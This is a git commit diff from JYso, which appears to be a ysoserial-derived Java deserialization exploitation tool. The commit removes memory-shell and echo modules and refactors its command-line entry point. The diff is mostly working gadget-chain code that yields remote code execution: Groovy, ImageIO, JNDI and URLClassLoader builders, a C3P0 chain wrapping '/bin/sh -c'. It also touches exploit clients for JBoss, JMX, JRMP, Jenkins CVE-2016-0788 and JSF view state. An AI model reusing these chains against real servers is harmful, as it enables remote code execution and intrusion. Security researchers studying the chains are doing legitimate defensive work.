refactor: 删除内存马模块,回显类模块

This commit is contained in:
qi4l
2026-03-27 10:46:23 +08:00
parent 35be9093fd
commit 226d1fdb6c
143 changed files with 154 additions and 8315 deletions
+1 -1
View File
@@ -22,7 +22,7 @@ shadowJar {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
zip64=true
//minimize()
minimize()
}
dependencies {
+3 -3
View File
@@ -1,10 +1,10 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
@@ -31,10 +31,10 @@ public class Starter {
}
}
// 如果参数中包含-y,则启动 ysu serial
// 如果参数中包含-y,则启动 ysoserial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
ysoserial.run(args);
}
}
}
@@ -8,7 +8,7 @@ import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import com.qi4l.JYso.template.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -159,7 +159,7 @@ public class ELProcessorController implements LdapController {
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
private class TomcatBypassHelper {
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> clazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Class<?> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
Field host = clazz.getDeclaredField("host");
host.setAccessible(true);
host.set(clazz, params[0]);
@@ -9,8 +9,9 @@ import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
@@ -22,7 +23,7 @@ public class ysoserial {
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static void ysoserial(String[] args) {
public static void run(String[] args) {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
@@ -106,38 +107,6 @@ public class ysoserial {
Config.IS_UTF_Bypass = true;
}
if (cmdLine.hasOption("Hessian1")) {
Config.IS_Hessian1 = true;
}
if (cmdLine.hasOption("Hessian2")) {
Config.IS_Hessian2 = true;
}
if (cmdLine.hasOption("XStream")) {
Config.IS_Xstream = true;
}
if (cmdLine.hasOption("Kryo")) {
Config.IS_Kryo = true;
}
if (cmdLine.hasOption(("JYaml"))) {
Config.IS_JYAML = true;
}
if (cmdLine.hasOption("JsonIO")) {
Config.IS_JsonIO = true;
}
if (cmdLine.hasOption("YamlBeans")) {
Config.IS_YamlBeans = true;
}
if (cmdLine.hasOption("Castor")) {
Config.IS_Castor = true;
}
if (cmdLine.hasOption("Jackson")) {
Config.IS_Jackson = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
@@ -187,11 +156,11 @@ public class ysoserial {
OutputStream out;
if (Config.WRITE_FILE) {
out = new FileOutputStream(Config.FILE);
out = Files.newOutputStream(Paths.get(Config.FILE));
} else {
out = System.out;
}
Serializer.qiserialize(object, out, payloadType, command);
Serializer.qiserialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
@@ -203,7 +172,7 @@ public class ysoserial {
System.exit(0);
}
private static Options getOptions() {
public static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
@@ -247,10 +216,10 @@ public class ysoserial {
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
@@ -32,8 +32,6 @@ import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* An exploitation client for JBoss AS/Wildfly JMX
@@ -77,7 +75,7 @@ public class JBoss {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
@@ -8,8 +8,6 @@ import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
@@ -32,7 +30,7 @@ public class JMXInvokeMBean {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
@@ -10,8 +10,6 @@ import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Generic JRMP client
* <p>
@@ -39,7 +37,7 @@ public class JRMPClient {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
@@ -18,9 +18,6 @@ import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Generic JRMP listener
* <p>
@@ -74,7 +71,7 @@ public class JRMPListener implements Runnable {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
+1 -3
View File
@@ -12,8 +12,6 @@ import java.net.URLConnection;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* JSF view state exploit
@@ -48,7 +46,7 @@ public class JSF {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
@@ -20,8 +20,6 @@ import java.net.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Jenkins CLI client
* <p>
@@ -48,7 +46,7 @@ public class JenkinsCLI {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
@@ -23,8 +23,6 @@ import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* CVE-2016-0788 exploit (1)
@@ -183,7 +181,7 @@ public class JenkinsListener {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
@@ -11,8 +11,6 @@ import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* CVE-2016-0788 exploit (2)
* <p>
@@ -38,7 +36,7 @@ public class JenkinsReverse {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
@@ -1,13 +0,0 @@
package com.qi4l.JYso.gadgets;
import java.net.URI;
public class BindingEnumeration implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1])));
}
}
@@ -30,7 +30,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (command.startsWith("EX-") || command.startsWith("LF-")) {
if (command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
@@ -1,35 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
@Authors({"水滴"})
public class CommonsBeanutilsObjectToStringComparator192 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -87,15 +87,6 @@ public class Config {
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false;
public static Boolean IS_Hessian1 = false;
public static Boolean IS_Hessian2 = false;
public static Boolean IS_Xstream = false;
public static Boolean IS_Kryo = false;
public static Boolean IS_JYAML = false;
public static Boolean IS_JsonIO = false;
public static Boolean IS_YamlBeans = false;
public static Boolean IS_Castor = false;
public static Boolean IS_Jackson = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
@@ -1,4 +0,0 @@
package com.qi4l.JYso.gadgets;
public interface DynamicDependencies {
}
@@ -1,22 +0,0 @@
package com.qi4l.JYso.gadgets;
import groovy.util.Expando;
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy implements ObjectPayload<Object> {
public static Object makeGroovy(String command) throws Exception {
Expando expando = new Expando();
ProcessBuilder pb = new ProcessBuilder(command);
MethodClosure mc = new MethodClosure(pb, "start");
expando.setProperty("hashCode", mc);
return expando;
}
@Override
public Object getObject(String command) throws Exception {
Object e = makeGroovy(command);
UtilFactory uf = new UtilFactory();
return uf.makeHashCodeTrigger(e);
}
}
@@ -9,30 +9,19 @@ import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* Comparator.compare() (Proxy)
* ConvertedClosure.invoke()
* MethodClosure.call()
* ...
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* groovy
*/
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.FROHOFF})
public class Groovy1 implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(String command) throws Exception {
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
}
}
@@ -1,32 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.codehaus.groovy.runtime.GStringImpl;
import org.codehaus.groovy.runtime.MethodClosure;
import javax.management.BadAttributeValueExpException;
@Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
@Authors({Authors.UNAM4})
public class Groovy2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
MethodClosure execute = (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
Reflections.setFieldValue(execute, "owner", command);
Reflections.setFieldValue(execute, "method", "execute");
GStringImpl gString = new GStringImpl(new Object[]{1}, new String[]{"start"});
try {
Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
Reflections.setFieldValue(execute, "ALLOW_RESOLVE", true);
} catch (Exception e) {
Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
}
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", gString);
Reflections.setFieldValue(gString, "values", (new Object[]{execute}));
return val;
}
}
@@ -1,6 +1,7 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
@@ -19,7 +20,7 @@ import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
@@ -1,6 +1,7 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.sun.rowset.JdbcRowSetImpl;
@@ -3,6 +3,7 @@ package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
@@ -1,43 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Collections;
public class ImageIO implements ObjectPayload<Object> {
public static Object makeImageIO(UtilFactory uf, String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder(args);
Class<?> cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter");
Constructor<?> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);
cfCons.setAccessible(true);
// nest two instances, the 'next' of the other one will be skipped,
// the inner instance then provides the actual target object
Object filterIt = makeFilterIterator(
makeFilterIterator(Collections.emptyIterator(), pb, null),
"foo",
cfCons.newInstance(ProcessBuilder.class.getMethod("start"), "foo"));
return uf.makeIteratorTrigger(filterIt);
}
public static Object makeFilterIterator(Object backingIt, Object first, Object filter)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> fiCl = Class.forName("javax.imageio.spi.FilterIterator");
Object filterIt = Reflections.createWithoutConstructor(fiCl);
Reflections.setFieldValue(filterIt, "iter", backingIt);
Reflections.setFieldValue(filterIt, "next", first);
Reflections.setFieldValue(filterIt, "filter", filter);
return filterIt;
}
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeImageIO(uf, args);
}
}
@@ -1,280 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl;
import com.sun.rowset.JdbcRowSetImpl;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.NullCipher;
import javax.management.loading.MLet;
import javax.naming.Binding;
import javax.naming.CannotProceedException;
import javax.naming.NamingEnumeration;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import javax.naming.directory.SearchResult;
import java.io.InputStream;
import java.lang.reflect.*;
import java.math.BigInteger;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.server.ObjID;
import java.util.*;
import java.util.ServiceLoader;
public class JDKUtil {
/**
*
*/
private JDKUtil() {
}
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
public static DirContext makeContinuationContext(String codebase, String clazz) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
return (DirContext) ccCons.newInstance(cpe, null);
}
@SuppressWarnings("resource")
public static Object makeIteratorTriggerNative(UtilFactory uf, Object it) throws Exception, ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException {
Cipher m = Reflections.createWithoutConstructor(NullCipher.class);
Reflections.setFieldValue(m, "serviceIterator", it);
Reflections.setFieldValue(m, "lock", new Object());
InputStream cos = new CipherInputStream(null, m);
Class<?> niCl = Class.forName("java.lang.ProcessBuilder$NullInputStream"); //$NON-NLS-1$
Constructor<?> niCons = niCl.getDeclaredConstructor();
niCons.setAccessible(true);
Reflections.setFieldValue(cos, "input", niCons.newInstance());
Reflections.setFieldValue(cos, "ibuffer", new byte[0]);
Object b64Data = Class.forName("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data").newInstance();
DataSource ds = (DataSource) Reflections
.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource")); //$NON-NLS-1$
Reflections.setFieldValue(ds, "is", cos);
Reflections.setFieldValue(b64Data, "dataHandler", new DataHandler(ds));
Reflections.setFieldValue(b64Data, "data", null);
Object nativeString = Reflections.createWithoutConstructor(Class.forName("jdk.nashorn.internal.objects.NativeString"));
Reflections.setFieldValue(nativeString, "value", b64Data);
return uf.makeHashCodeTrigger(nativeString);
}
public static Object adaptEnumerationToIterator(Enumeration<?> enu) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
licons.setAccessible(true);
ServiceLoader<?> sl = Reflections.createWithoutConstructor(ServiceLoader.class);
Object iter = licons.newInstance(null, null);
Reflections.setFieldValue(sl, "providers", new LinkedHashMap<>());
Reflections.setFieldValue(iter, "configs", enu);
return iter;
}
public static Iterator<?> makeServiceIterator(ClassLoader cl, Class<?> service) throws Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
lciCons.setAccessible(true);
return (Iterator<?>) lciCons.newInstance(service, cl);
}
public static Iterable<?> makeServiceLoader(ClassLoader cl, Class<?> service) throws Exception {
return ServiceLoader.load(service, cl);
}
public static URLClassLoader makeURLClassLoader(String url) throws MalformedURLException, Exception {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL(url)
});
Reflections.setFieldValue(ucl, "parent", null);
Reflections.setFieldValue(ucl, "domains", new HashSet<>());
Reflections.setFieldValue(ucl, "defaultDomain", null);
Reflections.setFieldValue(ucl, "acc", null);
Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null);
return ucl;
}
public static URLClassLoader makeMLet(String url) throws MalformedURLException, Exception {
URLClassLoader ucl = new MLet(new URL[]{
new URL(url)
});
Reflections.setFieldValue(ucl, "parent", null);
Reflections.setFieldValue(ucl, "domains", new HashSet<>());
Reflections.setFieldValue(ucl, "defaultDomain", null);
Reflections.setFieldValue(ucl, "acc", null);
Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null);
return ucl;
}
@SuppressWarnings("unchecked")
public static Enumeration<?> makeLazySearchEnumeration(String codebase, String clazz) throws Exception {
DirContext ctx = makeContinuationContext(codebase, clazz);
NamingEnumeration<?> inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class);
Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null));
return new LazySearchEnumerationImpl((NamingEnumeration<Binding>) inner, null, null);
}
public static Enumeration<?> makeBindingEnumeration(String codebase, String clazz) throws Exception {
Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
Object enu = Reflections.createWithoutConstructor(cl);
Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
Reflections.setFieldValue(enu, "names", new String[]{
"exp"
});
Reflections.setFieldValue(enu, "nextName", 0);
return (Enumeration<?>) enu;
}
private static Object makeRegistryImpl(String codebase, String clazz) throws Exception {
Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
Object reg = Reflections.createWithoutConstructor(regcl);
Reflections.setFieldValue(reg, "name", "exp");
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1337);
LiveRef liveRef = new LiveRef(new ObjID(), te, true);
UnicastRef value = new UnicastRef(liveRef);
Reflections.setFieldValue(reg, "ref", value);
Reflections.setFieldValue(reg, "object", makeReference(codebase, clazz));
return reg;
}
private static ReferenceWrapper makeReference(String codebase, String clazz) throws Exception {
Reference ref = new Reference("Foo", clazz, codebase);
ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reflections.setFieldValue(wrapper, "wrappee", ref);
Reflections.setFieldValue(wrapper, "ref", Reflections.createWithoutConstructor(sun.rmi.server.UnicastServerRef.class));
return wrapper;
}
private static Object makeRegistryContext(Object regi) throws Exception {
Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
Object regctx = Reflections.createWithoutConstructor(regctxcl);
Reflections.setFieldValue(regctx, "registry", regi);
return regctx;
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
@SuppressWarnings({
"rawtypes", "unchecked"
})
public static Queue<Object> makePriorityQueue(Object tgt, Comparator comparator) throws Exception {
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = tgt;
queueArray[1] = tgt;
return queue;
}
@SuppressWarnings({
"rawtypes", "unchecked"
})
public static TreeMap<Object, Object> makeTreeMap(Object tgt, Comparator comparator) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = Reflections.getField(entryCl, "left");
Field rootF = Reflections.getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
Reflections.setFieldValue(tm, "size", 2);
return tm;
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<>();
map.put(key, val);
return map;
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
}
@@ -16,7 +16,7 @@ import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
public class JRE8u20_2 implements ObjectPayload<Object> {
@@ -13,8 +13,7 @@ import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
/**
@@ -75,7 +74,7 @@ public class JSON1 implements ObjectPayload<Object> {
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tql);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
@@ -11,8 +11,8 @@ import javassist.CtMethod;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
//Jackson1链的JDK17改造
@@ -1,10 +1,10 @@
package com.qi4l.JYso.gadgets;
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
public class JdbcRowSet implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
return JDKUtil.makeJNDIRowSet(command);
return makeJNDIRowSet(command);
}
}
}
@@ -10,7 +10,7 @@ import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@Authors({"potats0"})
@@ -1,13 +0,0 @@
package com.qi4l.JYso.gadgets;
import java.net.URI;
public class LazySearchEnumeration implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[0], args[1])));
}
}
@@ -2,6 +2,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.myfaces.context.servlet.FacesContextImpl;
@@ -17,7 +18,7 @@ import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
